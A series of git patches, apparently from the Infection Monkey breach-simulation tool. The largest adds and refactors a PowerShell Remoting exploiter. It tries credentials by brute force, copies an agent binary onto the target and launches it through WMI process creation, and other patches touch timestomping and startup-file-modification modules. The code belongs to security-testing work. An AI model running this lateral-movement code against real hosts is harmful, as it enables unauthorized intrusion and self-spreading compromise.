monkey/infection_monkey/readme.md | 22 +--------------------- 6 files changed, 3 insertions(+), 51 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8f849b433..66bf63f90 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Internet access check on agent start. #1402 - The "internal.monkey.internet_services" configuration option that enabled internet access checks. #1402 +- Disused traceroute binaries. #1397 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration diff --git a/deployment_scripts/config b/deployment_scripts/config index 101dadd0f..74c13145e 100644 --- a/deployment_scripts/config +++ b/deployment_scripts/config @@ -37,10 +37,6 @@ export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/down export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe" export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe" -# Other binaries for monkey -export TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute64" -export TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute32" - export SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner64.so" export SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner32.so" diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index 54ad20be9..66de5fb7e 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -24,8 +24,6 @@ $SAMBA_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner32.so" $SAMBA_32_BINARY_NAME = "sc_monkey_runner32.so" $SAMBA_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner64.so" $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so" -$TRACEROUTE_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute64" -$TRACEROUTE_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute32" # Other directories and paths ( most likely you dont need to configure) $MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 0d3fc82d2..39dab4432 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -227,16 +227,6 @@ else curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner64.so ${SAMBACRY_64_BINARY_URL} curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner32.so ${SAMBACRY_32_BINARY_URL} fi -# Download traceroute binaries -log_message "Downloading traceroute binaries" -# shellcheck disable=SC2086 -if exists wget; then - wget -c -N -P "${MONKEY_BIN_DIR}" ${TRACEROUTE_64_BINARY_URL} - wget -c -N -P "${MONKEY_BIN_DIR}" ${TRACEROUTE_32_BINARY_URL} -else - curl -o ${MONKEY_BIN_DIR}/traceroute64 ${TRACEROUTE_64_BINARY_URL} - curl -o ${MONKEY_BIN_DIR}/traceroute32 ${TRACEROUTE_32_BINARY_URL} -fi # Download Swimm log_message "Downloading swimm" diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 3691ac470..6ed615ec2 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -67,15 +67,7 @@ def process_datas(orig_datas): def get_binaries(): - binaries = [] if is_windows() else get_linux_only_binaries() - binaries += get_sc_binaries() - return binaries - - -def get_linux_only_binaries(): - binaries = [] - binaries += get_traceroute_binaries() - return binaries + return get_sc_binaries() def get_hidden_imports(): @@ -89,11 +81,6 @@ def get_sc_binaries(): return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']] -def get_traceroute_binaries(): - traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64' - return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')] - - def get_monkey_filename(): name = 'monkey-' if is_windows(): diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md index d52091595..29816d941 100644 --- a/monkey/infection_monkey/readme.md +++ b/monkey/infection_monkey/readme.md @@ -7,7 +7,6 @@ The monkey is composed of three separate parts. - The Infection Monkey itself - PyInstaller compressed python archives - Sambacry binaries - Two linux binaries, 32/64 bit. -- Traceroute binaries - Two linux binaries, 32/64bit. ## Windows @@ -57,11 +56,7 @@ Tested on Ubuntu 16.04. - Build/Download according to sections at the end of this readme. - Place the binaries under [code location]/infection_monkey/bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so' -4. Build Traceroute binaries - - Build/Download according to sections at the end of this readme. - - Place the binaries under [code location]/infection_monkey/bin, under the names 'traceroute32', 'traceroute64' - -5. To build, run in terminal: +4. To build, run in terminal: - `cd [code location]/infection_monkey` - `chmod +x build_linux.sh` - `pipenv run ./build_linux.sh` @@ -83,21 +78,6 @@ Sambacry requires two standalone binaries to execute remotely. - 32bit: - 64bit: -### Traceroute - -Traceroute requires two standalone binaries to execute remotely. -The monkey carries the standalone binaries since traceroute isn't built in all Linux distributions. -You can either build them yourself or download pre-built binaries. - -1. Build traceroute yourself - - The sources of traceroute are available here with building instructions: -1. Download our pre-built traceroute binaries - - Available here: - - 32bit: - - 64bit: - - - ### Troubleshooting Some of the possible errors that may come up while trying to build the infection monkey: From 1ef884ae4e646e6c3a47c8f685e3f8cd4a431ea4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 23 Aug 2021 09:43:46 -0400 Subject: [PATCH 022/454] Agent: Add pyinstaller hook for post_breach package --- .../pyinstaller_hooks/hook-infection_monkey.post_breach.py | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.py diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.py new file mode 100644 index 000000000..1deab1ee4 --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.py @@ -0,0 +1,3 @@ +from PyInstaller.utils.hooks import collect_data_files + +datas = collect_data_files("infection_monkey.post_breach", include_py_files=False) From 536b061cc7592380490b9070f58097f52591324e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 23 Aug 2021 11:10:57 -0400 Subject: [PATCH 023/454] Agent: Remove unused TEMP_FILE constant from windows timestomping PBA --- .../post_breach/timestomping/windows/timestomping.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py index dbea6aaea..2479317cc 100644 --- a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py +++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py @@ -1,6 +1,3 @@ -TEMP_FILE = "monkey-timestomping-file.txt" - - def get_windows_timestomping_commands(): return "powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1" From 7f71901a29e1943e50f4d63e6ec9d482c87e759a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 23 Aug 2021 11:12:51 -0400 Subject: [PATCH 024/454] Agent: Use path relative to __file__ to locate powershell scripts --- .../windows/shell_startup_files_modification.py | 6 ++++-- .../post_breach/timestomping/windows/timestomping.py | 7 ++++++- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py index 62fd9425e..9d90f3812 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py @@ -1,7 +1,10 @@ import subprocess +from pathlib import Path from infection_monkey.utils.environment import is_windows_os +MODIFY_POWERSHELL_STARTUP_SCRIPT = Path(__file__).parent / "modify_powershell_startup_file.ps1" + def get_windows_commands_to_modify_shell_startup_files(): if not is_windows_os(): @@ -28,7 +31,6 @@ def get_windows_commands_to_modify_shell_startup_files(): return [ "powershell.exe", - "infection_monkey/post_breach/shell_startup_files/windows" - "/modify_powershell_startup_file.ps1", + str(MODIFY_POWERSHELL_STARTUP_SCRIPT), "-startup_file_path {0}", ], STARTUP_FILES_PER_USER diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py index 2479317cc..1316caa5a 100644 --- a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py +++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py @@ -1,5 +1,10 @@ +from pathlib import Path + +TIMESTOMPING_SCRIPT = Path(__file__).parent / "timestomping.ps1" + + def get_windows_timestomping_commands(): - return "powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1" + return f"powershell.exe {TIMESTOMPING_SCRIPT}" # Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006 From 342b5689f18f0797917c9daa987068b9d1cc943e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 23 Aug 2021 11:44:29 -0400 Subject: [PATCH 025/454] Update changelog with fixes for #1405 and #1419 --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 66bf63f90..1dc95da43 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Typo "trough" -> "through" in telemetry and docstring. - Crash when unexpected character encoding is used by ping command on German language systems. #1175 +- Malfunctioning timestomping PBA. #1405 +- Malfunctioning shell startup script PBA. #1419 ## [1.11.0] - 2021-08-13 ### Added From 55a817931d8aebaa3210e9788813a636120c9eaa Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 27 Nov 2020 17:48:00 +0200 Subject: [PATCH 026/454] Bugfix for monkey binary removal if dropper fails to do so --- monkey/infection_monkey/dropper.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 781a0614a..50e5008f1 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -202,7 +202,7 @@ class MonkeyDrops(object): ) # mark the file for removal on next boot - dropper_source_path_ctypes = c_char_p(self._config["source_path"]) + dropper_source_path_ctypes = c_char_p(self._config["source_path"].encode()) if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT ): @@ -218,7 +218,6 @@ class MonkeyDrops(object): self._config["source_path"], ) T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() - LOG.info("Dropper cleanup complete") except AttributeError: LOG.error("Invalid configuration options. Failing") From 9966c54fe21caa795a74330c090a1002bd134dd1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 9 Jun 2021 11:54:20 +0300 Subject: [PATCH 027/454] Added powershell remoting exploiter. --- monkey/common/utils/exceptions.py | 6 +- monkey/infection_monkey/exploit/powershell.py | 152 ++++++++++++++++++ .../cc/services/config_schema/basic.py | 1 + .../definitions/exploiter_classes.py | 6 + .../report-components/SecurityReport.js | 9 +- .../security/issues/PowershellIssue.js | 25 +++ vulture_allowlist.py | 1 + 7 files changed, 197 insertions(+), 3 deletions(-) create mode 100644 monkey/infection_monkey/exploit/powershell.py create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index df40f3007..4c66868b2 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -6,7 +6,11 @@ class FailedExploitationError(Exception): """ Raise when exploiter fails instead of returning False """ -class InvalidRegistrationCredentialsError(Exception): +class CredentialsError(Exception): + """ Raise when credentials are wrong""" + + +class InvalidRegistrationCredentialsError(CredentialsError): """ Raise when server config file changed and island needs to restart """ diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py new file mode 100644 index 000000000..60e05c635 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell.py @@ -0,0 +1,152 @@ +import logging +import os +import typing + +import spnego +from pypsrp.client import Client +from pypsrp.powershell import PowerShell, RunspacePool +from urllib3 import connectionpool + +import infection_monkey.monkeyfs as monkeyfs +from common.utils.exceptions import FailedExploitationError +from common.utils.exploit_enum import ExploitType +from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey_by_os, +) +from infection_monkey.exploit.web_rce import WIN_ARCH_32, WIN_ARCH_64 +from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost + +LOG = logging.getLogger(__name__) + +TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" + + +class PowershellExploiter(HostExploiter): + # attack URLs + _TARGET_OS_TYPE = ["windows"] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE + _EXPLOITED_SERVICE = "Powershell remote" + + def __init__(self, host: VictimHost): + # If pysrp will inherit root logger, it will log extensive and potentially sensitive info + logging.getLogger("pypsrp").setLevel(logging.ERROR) + logging.getLogger(spnego.__name__).setLevel(logging.ERROR) + logging.getLogger(connectionpool.__name__).setLevel(logging.ERROR) + + super().__init__(host) + self.client = None + + def _exploit_host(self): + try: + self.client = self.exploit_without_credentials() + except FailedExploitationError: + LOG.info("Failed exploitation without credentials.") + try: + self.client = self.exploit_with_usernames_only( + usernames=self._config.exploit_user_list + ) + except FailedExploitationError: + LOG.info("Failed exploitation using username list.") + try: + self.client = self.exploit_with_credentials( + self._config.get_exploit_user_password_pairs() + ) + except FailedExploitationError: + LOG.info("Failed exploitation using credentials from configuration. Quiting.") + return False + + arch = self.get_host_arch() + + monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=(arch == WIN_ARCH_32)) + + # write virtual file to actual local file + with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: + with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: + monkey_local_file.write(monkey_virtual_file.read()) + + try: + if arch == WIN_ARCH_32: + monkey_path_on_victim = self._config.dropper_target_path_win_32 + else: + monkey_path_on_victim = self._config.dropper_target_path_win_64 + + self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim) + except Exception: + return False + finally: + os.remove(TEMP_MONKEY_BINARY_FILEPATH) + + monkey_params = build_monkey_commandline( + target_host=self.host, + depth=get_monkey_depth() - 1, + vulnerable_port=None, + location=monkey_path_on_victim, + ) + + monkey_execution_command = RUN_MONKEY % { + "monkey_path": monkey_path_on_victim, + "monkey_type": DROPPER_ARG, + "parameters": monkey_params, + } + + with self.client.wsman, RunspacePool(self.client.wsman) as pool: + ps = PowerShell(pool) + ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( + "name", "create" + ).add_parameter("ArgumentList", monkey_execution_command) + ps.invoke() + + return True + + def exploit_without_credentials(self) -> Client: + return self.try_exploit() + + def exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client: + for username in usernames: + try: + client = self.try_exploit(username) + return client + except FailedExploitationError: + pass + raise FailedExploitationError + + def exploit_with_credentials( + self, credential_list: typing.List[typing.Tuple[str, str]] + ) -> Client: + for username, password in credential_list: + try: + client = self.try_exploit(username, password) + return client + except FailedExploitationError: + pass + raise FailedExploitationError + + def try_exploit( + self, username: typing.Optional[str] = None, password: typing.Optional[str] = None + ) -> Client: + try: + with Client( + self.host.ip_addr, + username=username, + password=password, + cert_validation=False, + ) as client: + # attempt to execute dir command to know if authentication was successful + client.execute_cmd("dir") + return client + except Exception: + raise FailedExploitationError + + def get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]: + output = self.execute_cmd_on_host(GET_ARCH_WINDOWS) + if "64-bit" in output: + return WIN_ARCH_64 + else: + return WIN_ARCH_32 + + def execute_cmd_on_host(self, cmd: str) -> str: + output, _, _ = self.client.execute_cmd(cmd) + return output diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 27b8f1d6f..33704eab6 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -26,6 +26,7 @@ BASIC = { "VSFTPDExploiter", "MSSQLExploiter", "DrupalExploiter", + "PowershellExploiter", ], } }, diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index c450f8d2a..f5c6b031d 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -154,5 +154,11 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey" "/docs/reference/exploiters/zerologon/", }, + { + "type": "string", + "enum": ["PowershellExploiter"], + "title": "Powershell Exploiter", + "info": "Exploits powershell remote execution setups.", + }, ], } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 4f8af8c62..491921093 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -52,6 +52,7 @@ import { zerologonIssueReport, zerologonOverviewWithFailedPassResetWarning } from './security/issues/ZerologonIssue'; +import {powershellIssueOverview, powershellIssueReport} from './security/issues/PowershellIssue'; class ReportPageComponent extends AuthComponent { @@ -142,6 +143,11 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: shellShockIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, + 'PowershellExploiter': { + [this.issueContentTypes.OVERVIEW]: powershellIssueOverview, + [this.issueContentTypes.REPORT]: powershellIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, 'Ms08_067_Exploiter': { [this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview, [this.issueContentTypes.REPORT]: ms08_067IssueReport, @@ -297,8 +303,7 @@ class ReportPageComponent extends AuthComponent {

To improve the monkey's detection rates, try adding users and passwords and enable the "Local - network - scan" config value under Basic - Network. + network scan" config value under Basic - Network.

}

diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js new file mode 100644 index 000000000..af4066443 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js @@ -0,0 +1,25 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function powershellIssueOverview() { + return (

  • Windows servers allow powershell remote command execution.
  • ); + } + +export function powershellIssueReport(issue) { + return ( + <> + Restrict powershell remote command execution and/or + harden the credentials of relevant users. + + The machine {issue.machine} ({issue.ip_address}) was + exploited via Powershell remoting. +
    + The attack was made possible because the target machine had + Powershell remoting enabled and Monkey + had access to correct credentials. +
    + + ); + } diff --git a/vulture_allowlist.py b/vulture_allowlist.py index b39d61dd8..e5080d2bb 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -86,6 +86,7 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61) _.do_GET # unused method (monkey/infection_monkey/transport/http.py:38) _.do_POST # unused method (monkey/infection_monkey/transport/http.py:34) _.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) +PowershellExploiter # (monkey\infection_monkey\exploit\powershell.py:27) ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13) From 2b71fb80c72ea11abc022668e538f9b7ed16d699 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 9 Jun 2021 14:52:33 +0300 Subject: [PATCH 028/454] Fixed missing powershell exploiter report components. --- .../cc/services/config_schema/definitions/exploiter_classes.py | 1 + .../exploit_processing/exploiter_descriptor_enum.py | 3 +++ vulture_allowlist.py | 1 + 3 files changed, 5 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index f5c6b031d..6a50df509 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -159,6 +159,7 @@ EXPLOITER_CLASSES = { "enum": ["PowershellExploiter"], "title": "Powershell Exploiter", "info": "Exploits powershell remote execution setups.", + "safe": True, }, ], } diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 03e5ce8b1..006a13c7c 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -49,6 +49,9 @@ class ExploiterDescriptorEnum(Enum): ZEROLOGON = ExploiterDescriptor( "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor ) + POWERSHELL = ExploiterDescriptor( + "PowershellExploiter", "Powershell remoting exploiter", ExploitProcessor + ) @staticmethod def get_by_class_name(class_name: str) -> ExploiterDescriptor: diff --git a/vulture_allowlist.py b/vulture_allowlist.py index e5080d2bb..0919c7bca 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -65,6 +65,7 @@ HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_proc MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44) VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45) DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48) +POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52) _.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26) PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4) internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43) From 5419200d61725613183bcd637deb78d05a70cfcc Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 20 Aug 2021 19:41:18 +0530 Subject: [PATCH 029/454] agent: Update exploited service name in powershell remoting exploiter --- monkey/infection_monkey/exploit/powershell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 60e05c635..15d51bdb3 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -28,7 +28,7 @@ class PowershellExploiter(HostExploiter): # attack URLs _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = "Powershell remote" + _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" def __init__(self, host: VictimHost): # If pysrp will inherit root logger, it will log extensive and potentially sensitive info From ba8c44d22c6a33cbec2e7ad7e12edb3019e99d24 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 20 Aug 2021 20:29:32 +0530 Subject: [PATCH 030/454] agent: Fix typos in powershell remoting exploiter --- monkey/infection_monkey/exploit/powershell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 15d51bdb3..a3328bccd 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -31,7 +31,7 @@ class PowershellExploiter(HostExploiter): _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" def __init__(self, host: VictimHost): - # If pysrp will inherit root logger, it will log extensive and potentially sensitive info + # If pypsrp will inherit root logger, it will log extensive and potentially sensitive info logging.getLogger("pypsrp").setLevel(logging.ERROR) logging.getLogger(spnego.__name__).setLevel(logging.ERROR) logging.getLogger(connectionpool.__name__).setLevel(logging.ERROR) @@ -55,7 +55,7 @@ class PowershellExploiter(HostExploiter): self._config.get_exploit_user_password_pairs() ) except FailedExploitationError: - LOG.info("Failed exploitation using credentials from configuration. Quiting.") + LOG.info("Failed exploitation using credentials from configuration. Quitting.") return False arch = self.get_host_arch() From dc4a5fbb85f8ad8f2ef7a8e6296c4ef4e9ee4e4e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 20 Aug 2021 20:30:38 +0530 Subject: [PATCH 031/454] agent: Use variable 'is_32bit' for function argument --- monkey/infection_monkey/exploit/powershell.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index a3328bccd..c4cd1f459 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -59,8 +59,9 @@ class PowershellExploiter(HostExploiter): return False arch = self.get_host_arch() + is_32bit = arch == WIN_ARCH_32 - monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=(arch == WIN_ARCH_32)) + monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=is_32bit) # write virtual file to actual local file with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: From 04125e5e14caef0f9efd8e88b034bb594b2c9683 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 20 Aug 2021 23:44:12 +0530 Subject: [PATCH 032/454] agent: Add separate function to set log levels for sensitive packages in powershell exploiter --- monkey/infection_monkey/exploit/powershell.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index c4cd1f459..0ce03b880 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -31,14 +31,18 @@ class PowershellExploiter(HostExploiter): _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" def __init__(self, host: VictimHost): - # If pypsrp will inherit root logger, it will log extensive and potentially sensitive info - logging.getLogger("pypsrp").setLevel(logging.ERROR) - logging.getLogger(spnego.__name__).setLevel(logging.ERROR) - logging.getLogger(connectionpool.__name__).setLevel(logging.ERROR) + PowershellExploiter._set_sensitive_packages_log_level_to_error() super().__init__(host) self.client = None + @staticmethod + def _set_sensitive_packages_log_level_to_error(): + # If root logger is inherited, extensive and potentially sensitive info could be logged + sensitive_packages = [pypsrp, spnego, connectionpool] + for package in sensitive_packages: + logging.getLogger(package.__name__).setLevel(logging.ERROR) + def _exploit_host(self): try: self.client = self.exploit_without_credentials() From 29788776fa04e7135c15ff5165d4cf9367ef2c08 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 20 Aug 2021 23:47:38 +0530 Subject: [PATCH 033/454] agent: Modify exploitation log messages in powershell exploiter --- monkey/infection_monkey/exploit/powershell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 0ce03b880..cafcebb3e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -53,13 +53,13 @@ class PowershellExploiter(HostExploiter): usernames=self._config.exploit_user_list ) except FailedExploitationError: - LOG.info("Failed exploitation using username list.") + LOG.info("Failed exploitation using configured usernames only.") try: self.client = self.exploit_with_credentials( self._config.get_exploit_user_password_pairs() ) except FailedExploitationError: - LOG.info("Failed exploitation using credentials from configuration. Quitting.") + LOG.info("Failed exploitation using configured credentials. Quitting.") return False arch = self.get_host_arch() From ee9fde400581f5384b1dad956efa285ff8b576ca Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 23 Aug 2021 15:35:48 +0530 Subject: [PATCH 034/454] agent: Refactor powershell remoting exploiter --- monkey/infection_monkey/exploit/powershell.py | 133 ++++++++++-------- 1 file changed, 76 insertions(+), 57 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index cafcebb3e..dd08bba5d 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -2,6 +2,7 @@ import logging import os import typing +import pypsrp import spnego from pypsrp.client import Client from pypsrp.powershell import PowerShell, RunspacePool @@ -25,7 +26,6 @@ TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" class PowershellExploiter(HostExploiter): - # attack URLs _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" @@ -44,92 +44,74 @@ class PowershellExploiter(HostExploiter): 